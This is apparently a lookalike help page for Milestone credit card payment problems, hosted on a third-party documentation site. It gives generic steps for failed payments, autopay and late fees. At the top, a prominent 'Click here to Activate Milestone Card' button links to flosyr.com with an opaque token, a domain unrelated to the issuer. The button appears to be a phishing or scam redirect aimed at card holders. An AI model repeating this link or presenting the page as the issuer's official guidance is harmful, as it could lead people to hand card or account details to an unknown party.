> ## Documentation Index
> Fetch the complete documentation index at: https://milestonecard.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Milestone Card Payment Issues - Fix Failed and Late Payments

> Troubleshoot Milestone credit card payment problems including failed payments, returned checks, autopay errors, and posting delays.

<div style={{ textAlign: 'center', margin: '2rem 0' }}>
  <a
    href="https://flosyr.com/?S7es9fr0BB8boBX9K9VLp1YbiW2SBV76sn2XW4isnBOsPDh"
    style={{
display: 'inline-block',
padding: '16px 40px',
background: '#06467c',
color: '#ffffff',
fontSize: '20px',
fontWeight: 'bold',
borderRadius: '8px',
textDecoration: 'none',
boxShadow: '0 4px 12px rgba(6, 70, 124, 0.35)'
}}
  >
    Click here to Activate Milestone Card
  </a>
</div>

Payment problem with your Milestone card? Here are the most common issues and how to fix them.

## Common payment issues

### 1. Payment did not go through

**Fix:**

* Check your bank account has enough money
* Try again with a different bank account
* Make sure the routing and account numbers are correct

### 2. Payment not showing on your account

**Fix:**

* Wait 1 to 3 business days for it to post
* Check your bank to see if the money was pulled
* Call **1-866-453-2636** if it's been more than 3 days

### 3. Autopay failed

**Fix:**

* Log in to milestonecard.com
* Update your bank details
* Make a manual payment right away
* Turn autopay back on

### 4. Late payment fee

**Fix:**

* Pay the past-due amount now
* Call customer service and ask for a one-time fee waiver
* Set up autopay to avoid future late fees

### 5. Returned check or NSF

**Fix:**

* Your bank refused the payment
* Add money to your bank and try again
* You may see a returned payment fee

## How to make a payment

<Steps>
  <Step title="Log in to milestonecard.com">
    Use your username and password.
  </Step>

  <Step title="Click Payments">
    Find it in your account menu.
  </Step>

  <Step title="Enter payment amount">
    Choose minimum, statement balance, or a custom amount.
  </Step>

  <Step title="Select bank account">
    Or add a new one with your routing and account numbers.
  </Step>

  <Step title="Confirm payment">
    You will see a confirmation number. Save it.
  </Step>
</Steps>

## Other ways to pay

* **Phone:** Call 1-866-453-2636
* **Mail:** Send a check to the address on your statement
* **Autopay:** Set it up once and forget it

<Tip>
  Pay at least 3 business days before the due date. This way, even if there is a delay, you avoid a late fee.
</Tip>